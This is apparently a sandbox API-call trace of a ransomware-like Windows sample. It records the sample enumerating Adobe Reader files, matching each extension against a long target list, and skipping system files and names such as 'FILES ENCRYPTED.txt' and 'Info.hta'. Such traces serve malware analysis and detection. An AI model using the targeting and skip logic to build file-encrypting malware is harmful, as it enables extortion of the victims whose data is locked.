	[0175.541] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.541] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0175.541] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.541] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0175.542] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.542] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0175.542] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.542] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e38798, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0175.542] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.542] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e38798, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0175.542] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0175.542] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.542] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0175.542] lstrlenW (lpString="plugin.js") returned 9
	[0175.542] lstrlenW (lpString=".1cd") returned 4
	[0175.542] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1
	[0175.542] lstrlenW (lpString=".3ds") returned 4
	[0175.542] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1
	[0175.542] lstrlenW (lpString=".3fr") returned 4
	[0175.542] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1
	[0175.542] lstrlenW (lpString=".3g2") returned 4
	[0175.542] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1
	[0175.542] lstrlenW (lpString=".3gp") returned 4
	[0175.543] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1
	[0175.543] lstrlenW (lpString=".7z") returned 3
	[0175.543] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0175.543] lstrlenW (lpString=".accda") returned 6
	[0175.543] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1
	[0175.543] lstrlenW (lpString=".accdb") returned 6
	[0175.543] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1
	[0175.543] lstrlenW (lpString=".accdc") returned 6
	[0175.543] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1
	[0175.543] lstrlenW (lpString=".accde") returned 6
	[0175.543] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1
	[0175.543] lstrlenW (lpString=".accdt") returned 6
	[0175.543] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1
	[0175.543] lstrlenW (lpString=".accdw") returned 6
	[0175.543] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1
	[0175.543] lstrlenW (lpString=".adb") returned 4
	[0175.543] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1
	[0175.543] lstrlenW (lpString=".adp") returned 4
	[0175.543] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1
	[0175.543] lstrlenW (lpString=".ai") returned 3
	[0175.543] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0175.543] lstrlenW (lpString=".ai3") returned 4
	[0175.543] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1
	[0175.543] lstrlenW (lpString=".ai4") returned 4
	[0175.543] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1
	[0175.543] lstrlenW (lpString=".ai5") returned 4
	[0175.543] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1
	[0175.543] lstrlenW (lpString=".ai6") returned 4
	[0175.543] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1
	[0175.543] lstrlenW (lpString=".ai7") returned 4
	[0175.543] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1
	[0175.543] lstrlenW (lpString=".ai8") returned 4
	[0175.543] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1
	[0175.543] lstrlenW (lpString=".anim") returned 5
	[0175.544] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1
	[0175.544] lstrlenW (lpString=".arw") returned 4
	[0175.544] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".as") returned 3
	[0175.544] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0175.544] lstrlenW (lpString=".asa") returned 4
	[0175.544] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".asc") returned 4
	[0175.544] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".ascx") returned 5
	[0175.544] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1
	[0175.544] lstrlenW (lpString=".asm") returned 4
	[0175.544] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".asmx") returned 5
	[0175.544] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1
	[0175.544] lstrlenW (lpString=".asp") returned 4
	[0175.544] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".aspx") returned 5
	[0175.544] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1
	[0175.544] lstrlenW (lpString=".asr") returned 4
	[0175.544] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".asx") returned 4
	[0175.544] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".avi") returned 4
	[0175.544] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".avs") returned 4
	[0175.544] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".backup") returned 7
	[0175.544] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1
	[0175.544] lstrlenW (lpString=".bak") returned 4
	[0175.544] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".bay") returned 4
	[0175.544] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1
	[0175.544] lstrlenW (lpString=".bd") returned 3
	[0175.545] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0175.545] lstrlenW (lpString=".bin") returned 4
	[0175.545] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".bmp") returned 4
	[0175.545] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".bz2") returned 4
	[0175.545] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".c") returned 2
	[0175.545] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0175.545] lstrlenW (lpString=".cdr") returned 4
	[0175.545] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".cer") returned 4
	[0175.545] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".cf") returned 3
	[0175.545] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0175.545] lstrlenW (lpString=".cfc") returned 4
	[0175.545] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".cfm") returned 4
	[0175.545] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".cfml") returned 5
	[0175.545] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1
	[0175.545] lstrlenW (lpString=".cfu") returned 4
	[0175.545] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".chm") returned 4
	[0175.545] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".cin") returned 4
	[0175.545] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".class") returned 6
	[0175.545] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1
	[0175.545] lstrlenW (lpString=".clx") returned 4
	[0175.545] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1
	[0175.545] lstrlenW (lpString=".config") returned 7
	[0175.545] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1
	[0175.545] lstrlenW (lpString=".cpp") returned 4
	[0175.546] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".cr2") returned 4
	[0175.546] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".crt") returned 4
	[0175.546] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".crw") returned 4
	[0175.546] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".cs") returned 3
	[0175.546] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0175.546] lstrlenW (lpString=".css") returned 4
	[0175.546] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".csv") returned 4
	[0175.546] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".cub") returned 4
	[0175.546] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".dae") returned 4
	[0175.546] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".dat") returned 4
	[0175.546] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".db") returned 3
	[0175.546] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0175.546] lstrlenW (lpString=".dbf") returned 4
	[0175.546] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".dbx") returned 4
	[0175.546] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".dc3") returned 4
	[0175.546] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".dcm") returned 4
	[0175.546] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".dcr") returned 4
	[0175.546] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".der") returned 4
	[0175.546] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1
	[0175.546] lstrlenW (lpString=".dib") returned 4
	[0175.547] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".dic") returned 4
	[0175.547] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".dif") returned 4
	[0175.547] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".divx") returned 5
	[0175.547] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1
	[0175.547] lstrlenW (lpString=".djvu") returned 5
	[0175.547] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1
	[0175.547] lstrlenW (lpString=".dng") returned 4
	[0175.547] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".doc") returned 4
	[0175.547] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".docm") returned 5
	[0175.547] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1
	[0175.547] lstrlenW (lpString=".docx") returned 5
	[0175.547] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1
	[0175.547] lstrlenW (lpString=".dot") returned 4
	[0175.547] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".dotm") returned 5
	[0175.547] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1
	[0175.547] lstrlenW (lpString=".dotx") returned 5
	[0175.547] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1
	[0175.547] lstrlenW (lpString=".dpx") returned 4
	[0175.547] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".dqy") returned 4
	[0175.547] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".dsn") returned 4
	[0175.547] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".dt") returned 3
	[0175.547] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0175.547] lstrlenW (lpString=".dtd") returned 4
	[0175.547] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1
	[0175.547] lstrlenW (lpString=".dwg") returned 4
	[0175.548] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".dwt") returned 4
	[0175.548] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".dx") returned 3
	[0175.548] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0175.548] lstrlenW (lpString=".dxf") returned 4
	[0175.548] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".edml") returned 5
	[0175.548] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1
	[0175.548] lstrlenW (lpString=".efd") returned 4
	[0175.548] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".elf") returned 4
	[0175.548] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".emf") returned 4
	[0175.548] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".emz") returned 4
	[0175.548] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".epf") returned 4
	[0175.548] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".eps") returned 4
	[0175.548] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".epsf") returned 5
	[0175.548] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1
	[0175.548] lstrlenW (lpString=".epsp") returned 5
	[0175.548] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1
	[0175.548] lstrlenW (lpString=".erf") returned 4
	[0175.548] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1
	[0175.548] lstrlenW (lpString=".exr") returned 4
	[0175.548] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".f4v") returned 4
	[0175.549] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".fido") returned 5
	[0175.549] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1
	[0175.549] lstrlenW (lpString=".flm") returned 4
	[0175.549] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".flv") returned 4
	[0175.549] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".frm") returned 4
	[0175.549] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".fxg") returned 4
	[0175.549] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".geo") returned 4
	[0175.549] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".gif") returned 4
	[0175.549] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".grs") returned 4
	[0175.549] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".gz") returned 3
	[0175.549] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0175.549] lstrlenW (lpString=".h") returned 2
	[0175.549] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0175.549] lstrlenW (lpString=".hdr") returned 4
	[0175.549] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".hpp") returned 4
	[0175.549] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1
	[0175.549] lstrlenW (lpString=".hta") returned 4
	[0175.550] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".htc") returned 4
	[0175.550] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".htm") returned 4
	[0175.550] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".html") returned 5
	[0175.550] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1
	[0175.550] lstrlenW (lpString=".icb") returned 4
	[0175.550] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".ics") returned 4
	[0175.550] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".iff") returned 4
	[0175.550] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".inc") returned 4
	[0175.550] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".indd") returned 5
	[0175.550] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1
	[0175.550] lstrlenW (lpString=".ini") returned 4
	[0175.550] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".iqy") returned 4
	[0175.550] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".j2c") returned 4
	[0175.550] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".j2k") returned 4
	[0175.550] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1
	[0175.550] lstrlenW (lpString=".java") returned 5
	[0175.550] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1
	[0175.550] lstrlenW (lpString=".jp2") returned 4
	[0175.550] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1
	[0175.551] lstrlenW (lpString=".jpc") returned 4
	[0175.551] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1
	[0175.551] lstrlenW (lpString=".jpe") returned 4
	[0175.551] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1
	[0175.551] lstrlenW (lpString=".jpeg") returned 5
	[0175.551] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1
	[0175.551] lstrlenW (lpString=".jpf") returned 4
	[0175.551] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1
	[0175.551] lstrlenW (lpString=".jpg") returned 4
	[0175.551] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1
	[0175.551] lstrlenW (lpString=".jpx") returned 4
	[0175.551] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1
	[0175.551] lstrlenW (lpString=".js") returned 3
	[0175.551] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0175.551] lstrlenW (lpString="plugin.js") returned 9
	[0175.551] lstrlenW (lpString=".GTF") returned 4
	[0175.551] lstrcmpiW (lpString1=".GTF", lpString2="n.js") returned -1
	[0175.551] lstrlenW (lpString="plugin.js") returned 9
	[0175.551] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1
	[0175.551] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1
	[0175.551] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1
	[0175.551] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1
	[0175.551] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1
	[0175.551] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1
	[0175.551] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1
	[0175.551] lstrcmpiW (lpString1="fvppjh.exe", lpString2="plugin.js") returned -1
	[0175.551] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\plugin.js") returned 116
	[0175.551] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 1
	[0175.551] lstrlenW (lpString="selector.js") returned 11
	[0175.551] lstrlenW (lpString=".1cd") returned 4
	[0175.551] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1
	[0175.552] lstrlenW (lpString=".3ds") returned 4
	[0175.552] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1
	[0175.552] lstrlenW (lpString=".3fr") returned 4
	[0175.552] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1
	[0175.552] lstrlenW (lpString=".3g2") returned 4
	[0175.552] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1
	[0175.552] lstrlenW (lpString=".3gp") returned 4
	[0175.552] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1
	[0175.552] lstrlenW (lpString=".7z") returned 3
	[0175.552] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0175.552] lstrlenW (lpString=".accda") returned 6
	[0175.552] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1
	[0175.552] lstrlenW (lpString=".accdb") returned 6
	[0175.552] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1
	[0175.552] lstrlenW (lpString=".accdc") returned 6
	[0175.552] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1
	[0175.552] lstrlenW (lpString=".accde") returned 6
	[0175.552] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1
	[0175.552] lstrlenW (lpString=".accdt") returned 6
	[0175.552] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1
	[0175.552] lstrlenW (lpString=".accdw") returned 6
	[0175.552] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1
	[0175.552] lstrlenW (lpString=".adb") returned 4
	[0175.552] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1
	[0175.552] lstrlenW (lpString=".adp") returned 4
	[0175.552] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1
	[0175.552] lstrlenW (lpString=".ai") returned 3
	[0175.552] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0175.552] lstrlenW (lpString=".ai3") returned 4
	[0175.552] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1
	[0175.552] lstrlenW (lpString=".ai4") returned 4
	[0175.552] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1
	[0175.552] lstrlenW (lpString=".ai5") returned 4
	[0175.552] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".ai6") returned 4
	[0175.553] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".ai7") returned 4
	[0175.553] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".ai8") returned 4
	[0175.553] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".anim") returned 5
	[0175.553] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1
	[0175.553] lstrlenW (lpString=".arw") returned 4
	[0175.553] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".as") returned 3
	[0175.553] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0175.553] lstrlenW (lpString=".asa") returned 4
	[0175.553] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".asc") returned 4
	[0175.553] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".ascx") returned 5
	[0175.553] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1
	[0175.553] lstrlenW (lpString=".asm") returned 4
	[0175.553] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".asmx") returned 5
	[0175.553] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1
	[0175.553] lstrlenW (lpString=".asp") returned 4
	[0175.553] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".aspx") returned 5
	[0175.553] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1
	[0175.553] lstrlenW (lpString=".asr") returned 4
	[0175.553] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".asx") returned 4
	[0175.553] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".avi") returned 4
	[0175.553] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1
	[0175.553] lstrlenW (lpString=".avs") returned 4
	[0175.553] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".backup") returned 7
	[0175.554] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1
